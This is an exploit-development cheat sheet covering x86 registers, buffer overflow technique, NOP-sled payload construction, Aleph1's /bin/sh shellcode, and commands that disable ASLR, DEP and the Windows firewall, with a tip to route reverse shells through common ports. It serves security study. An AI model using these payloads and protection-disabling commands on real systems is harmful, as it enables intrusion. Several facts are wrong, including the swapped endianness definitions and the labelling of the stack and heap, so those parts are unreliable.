Little/Big Endian
Byte ordering is different:
little endian
(intel, 32bit) = high-ordered first
big endian (sparc, 64bit, motorola) = low-ordered first
LIFO/FIFO
queueing process is different
LIFO = Last in First out
(Stack)
FIFO = First in First out (Heap)
Linux ELF
ELF = executable and linkable format
COFF = common
object file format
.so = dynamic library
.dtors = destructors
.ctors =
constructors
GOT = global offset table
PLT = procedure linkage
table
libraries (api) = /usr/lib
libc.so = C library
Windows PE
PE = portable executable
PE-COFF = portable executable common object file
format
PEB = process environment block
TEB = threat environment
block
PIC = position independant code
.dll = dynamic linked
library
Win32 API
DCOM = distributed common object model
MSVCRT.dll = C
Library
C Datatypes (x86)
integer (int) = 4 bytes
unsigned int = 4 bytes
short int = 2
bytes
long int = 4 bytes
long long int = 8 bytes
floating (float) = 4
bytes
character (char) = 1 bytes
Formatstrings
%d = decimal
%u = unsigned decimal
%x = hexadecimal
%s =
string
%n = number bytes written so far
Memory Segments
.text = text (code) portion of binary, read-only, segfaults if written
to
.data = initialised global and local variables, write-able,
fixed-size
.bss = uninitialised global and local variables, write-able,
fixed-size
heap = dynamically allocated variables (allocate+/free-)
(grows
down toward higher memory addresses)
stack = local variables, recursive
function calls (push+/pop-)
(grows up toward lower memory addresses)
Registers and Pointers
EAX,EBX,ECX,EDX = data manipulation
EAX = Accumulator
EBX = Base
ECX
= Counter
EDX = Data
AX,BX,CX,DX = 16bit data
manipulation
AH,BH,CH,DH,AL,BL,CL,DL = 8bit high/low
ordered
CS,SS,DS,ES,FS,GS = 16bit memory address pointers
Offset = offset
related to segment
EBP = extended base pointer (local environment for
function)
ESI = extended source index (data source offset)
EDI = extended
destination index (destination data offset)
ESP = extended stack pointer (top
of stack)
EIP = extended instruction pointer (address of next
instruction)
EEFLAGS = cpu logic and state tracking
Intel IA32 Registers
Runtime Memory
Runtime Memory / Registers
Stack
local variables, recursive function calls, example function: printf()
Heap
dynamically allocated variables, example function: malloc()
Exploits
0day = no patch available yet
poc = proof of concept
public = public
available exploit
private = privately exchanged exploit
local = local
privilege escalation
remote = remotely working exploit
Buffer Overflow Generations
1) stack-based overflows
2)
off-by-one and formatstring overflows
3) bss overflows
4) heap
overflows
System Preparation
for linux, disable protection when testing
exploits:
echo "0" > /proc/sys/kernel/randomize_va_space
echo "0" >
/proc/sys/kernel/exec-shield
echo "0" >
/proc/sys/kernel/exec-shield-random
allow core dumps in linux:
ulimit -c
unlimited
windows needs the following settings:
boot.ini for disabling
data execution prevention: /noexecute=AlwaysOff
registry for disabling ASLR
under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory
Management\MoveImages
Important Tools
gnu compiler collection:gcc
gnu
debugger:gdb
netwide assembler:nasm
windows
debugger:windbg
valgrind:valgrind
ollydbg:ollydbg(ollydbg.ini)
immunitydbg:immunitydbg
visual
c++ express:visual c++
express
ida pro free:ida pro
free
python:python
mosdef:mosdef
tcpdump:tcpdump
wireshark:wireshark
netcat:netcat
sysinternals:sysinternals
(regmon,filemon,handle,tcpview,process
explorer)
linux: ltrace, strace
solaris: truss
bsd: fstat
mac:
kdump, ktrace, vmmap
cisco: rommon
Exploiting
1) Control EIP ;)
2) Determine the offset(s)
3)
Determine the attack vector (opcode, env, dtors, libc)
4) Build the exploit
sandwich (nop sled, shellcode, esp)
5) Test the exploit :o
Exploit Sandwich
NOP sled
repeated no-operations (NOP's), no need to know exact offset, pointing
somewhere into for sliding to the shellcode, use opcode0x90
Down to the Beef
overwrite EIP with A (0x41): python -c 'print("A"*200)'
overwrite EIP with
NOP sled: python -c 'print("\x90"*200)'
generate shellcode: python -c
'print("\xeb\x1f\x5e\x89...")' > sc
calculate return address (debugger,
pcalc)
overwrite EIP with repeated return address
address in right endian
format: python -c 'print("\x01\x23\x45\x67")'
buffer bytes - NOP sled -
Shellcode / 4 bytes = n times (x??)
build sandwich: sled + shellcode +
repeated return address
send string to application input or network socket
:)
python -c
'print("\x90"*20+"\xeb\x1f\x5e\x89..."+"\x01\x23\x45\x67"*10)'
if it
segfaults, debug it, adjust length, search for error(s)
poke around in memory
until you succeed!
Shellcoding
possible shellcodes: port binding, reverse connection, find and re-use
socket, code execution (execve), file transfer, multi staged, syscall proxying,
process injection, ...
avoid these whitespaces in shellcode:
0x00
terminates instructions, others may include 0x20, 0x0a, 0x0d, 0x1b, 0x0b and
0x0c
if target is suspected to have a firewall enabled, either disable it via
shell:
netsh firewall set opmode disable (admin/system privs needed)
or
use a reverse shell to a probably not filtered port like 443, 80, 53, ...
if
usable buffer is very small, use trampoline technique:
127 bytes in either
direction (EB06 = 6 bytes) or go after libc over env-variable
Bytecodes
jmp esp (0xff 0xe4)
call esp (0xff 0xd4)
push esp, ret (0x54
0xc3)
Shellcode
famous shellcode from
aleph1:
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int
main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) =
(int)shellcode;
}
disassembling shellcode:
compile it with gcc: gcc -o shellcode shellcode.c
debug with gdb: gdb
shellcode
gdb: x /24i &shellcode
gdb: x /s 0x???????
(das-sections)
gdb: quit
Exploit Development
1) Plan the exploit
determine offset and location of payload relative to
registers
find reliable jmp/call <register> offset for
product/windows
test shellcode with nop's
insert jmp's into paylaod to
avoid corruption
2) Write shellcode in inline assembly
allows for easier
editing and may save time
3) Maintain a shellcode library
saves a lot of
time, support for different platforms
4) Make it continue nicely
for
metasploit use thread (not seh) as exit code
if process is restarted when
terminated use exit(), ExitProcess() or TerminateProcess()
if thread is
restarted when terminated use ExitThread() or TerminateThread()
5) Make the
exploit stable
run more than once or multiple copies against same
target
support for multiple windows patchlevels, multi platform, linux
distros
log traces and firewalling issues
easy offset embedding
6) Make
it steal the connection
breakpoint socket calls like accept, recv, recvfrom,
send, sendto, use getpeername
read/write-file windows may use socket,
serializing socket
Python TCP Socket
import sys, os,
socket
host=sys.argv[1]
port=int(sys.argv[2])
s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
s.connect((host,port))
data=s.recv(1024)
result=data.decode()
print
data
s.send(('\r\n\r\n\r\n\r\n'))
data2=s.recv(1024)
result2=data2.decode()
print
result2
s.close
More Links and Info
Metasploit Windows
System Calls
Metasploit Shellcode
Metasploit OpCode
Database
Metasploit
Unleashed
Editra Editor
Leo Editor
OpenRCE
Shellcoders
Handbook
